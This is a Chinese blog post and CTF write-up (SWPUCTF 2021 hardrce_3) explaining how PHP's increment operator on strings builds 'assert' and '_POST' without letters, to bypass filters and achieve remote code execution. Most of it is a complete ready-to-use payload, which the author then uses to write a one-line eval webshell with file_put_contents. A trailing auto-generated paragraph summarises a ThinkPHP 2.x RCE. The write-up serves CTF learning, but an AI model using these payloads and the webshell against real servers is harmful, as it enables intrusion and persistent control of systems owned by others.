无字母RCE--自增绕过

2 篇文章 0 订阅

关于自增

自增(Increment)通常指的是将某个值增加一个固定的增量。在编程中,自增通常用于循环计数、迭代或者更新变量的值等情况。

在许多编程语言中,自增操作可以通过使用 ++ 符号来完成。例如,在C语言中,++ 操作符可以用于将变量的值增加1。

例如:

<?php
     $_++;

这儿我们对$_变量进行了自增操作,但是我们没有给变量$_进行定义值,那么php会自己给$_赋一个默认的值NULL==0

可以发现,我们对$_进行了自增操作,最开始他的默认值是0,进行自增后他的值就为1了。

因此,当我们在不能使用数字的情况下,我们可以通过对未定义变量进行自增操作来得到我们想要的数字

"A"++ ==> "B"
"B"++ ==> "C"

如果我们有字母A的话,那我们就可以通过自增自减,得到我们所需要的字母。

但问题就是,没有字母怎么办呢,我们要怎么才能得到一个字母A呢

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。

<?php
$a = ''.[];
var_dump($a);

<?php
$_=[].'';   // 将空数组转换为字符串,得到"Array",赋值给变量$_
$___ = $_[$__];   // 从$_中获取索引为$__的字符,由于$__没有定义,默认为0,因此$___得到"A"
$__ = $___;   // 将$___的值赋给$__,现在$__的值也是"A"
$_ = $___;   // 将$___的值赋给$_,现在$_的值也是"A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   // 得到"S",现在$__的值为"S"
$___ .= $__;   // 将$__追加到$___后面,现在$___的值为"AS"
$___ .= $__;   // 再次将$__追加到$___后面,现在$___的值为"ASS"
$__ = $_;   // 将$_的值赋给$__,现在$__的值为"A"
$__++;$__++;$__++;$__++;   // 得到"E",现在$__的值为"E"
$___ .= $__;   // 将$__追加到$___后面,现在$___的值为"ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   // 得到"R",现在$__的值为"R"
$___ .= $__;   // 将$__追加到$___后面,现在$___的值为"ASSER"
$__++;$__++;   // 得到"T",现在$__的值为"T"
$___ .= $__;   // 将$__追加到$___后面,现在$___的值为"ASSERT"
$__ = $_;   // 将$_的值赋给$__,现在$__的值为"A"
$____ = "_";   // 定义变量$____为"_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   // 得到"P",现在$__的值为"P"
$____ .= $__;   // 将$__追加到$____后面,现在$____的值为"_P"
$__ = $_;   // 将$_的值赋给$__,现在$__的值为"A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   // 得到"O",现在$__的值为"O"
$____ .= $__;   // 将$__追加到$____后面,现在$____的值为"_PO"
$__++;$__++;$__++;$__++;   // 得到"S",现在$__的值为"S"
$____ .= $__;   // 将$__追加到$____后面,现在$____的值为"_POS"
$__++;   // 得到"T",现在$__的值为"T"
$____ .= $__;   // 将$__追加到$____后面,现在$____的值为"_POST"
$_ = $$____;   // 将$_POST赋值给$_

 因此我们在写题时,就可以通过自增操作得到POST传参,执行RCE

//测试发现7.0.12以上版本不可使用
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

固定格式:通过自增构造出来的等于assert($_POST[_]);

[SWPUCTF 2021 新生赛]hardrce_3

打开环境,进行代码审计,是无字母RCE,并且也过滤了异或和取反,那就只能进行自增绕过了

//测试发现7.0.12以上版本不可使用
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

固定格式:通过自增构造出来的等于assert($_POST[_]);
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

我们构造url:

url/?wllm=$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

然后我们在POST传参传入:

_=phpinfo();

看到他过滤了很多,但没有过滤 file_put_contents函数,那我们就利用file_put_contents函数构造POST传参一句话木马,然后用蚁剑连接

构造POST传参:

_=file_put_contents('2.php','<?php eval($_POST[1]);?>'); 

 使用蚁剑连接,得到flag

  • 4
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ThinkPHP 2.x版本中存在远程代码执行(RCE)漏洞。该漏洞可以通过构造恶意的请求来执行任意的PHP代码。具体来说,漏洞出现在ThinkPHP框架中的路由处理函数中,使用了不安全的preg_replace函数,并且使用了/e模式进行正则表达式匹配。攻击者可以通过在请求中注入恶意的代码来执行任意的PHP代码。这个漏洞在ThinkPHP框架的Dispatcher类中的102行被触发。\[2\]\[3\] 为了修复这个漏洞,建议升级到最新版本的ThinkPHP框架,或者手动修复代码中的漏洞。具体修复方法包括使用更安全的正则表达式替代preg_replace函数,并且避免使用/e模式进行正则表达式匹配。此外,还应该对用户输入进行严格的过滤和验证,以防止恶意代码的注入。 #### 引用[.reference_title] - *1* [【漏洞复现】[ThinkPHP]2-Rce](https://blog.csdn.net/Mr_atopos/article/details/124907676)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [ThinkPHP2-RCE漏洞复现](https://blog.csdn.net/qq_51459600/article/details/125179451)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值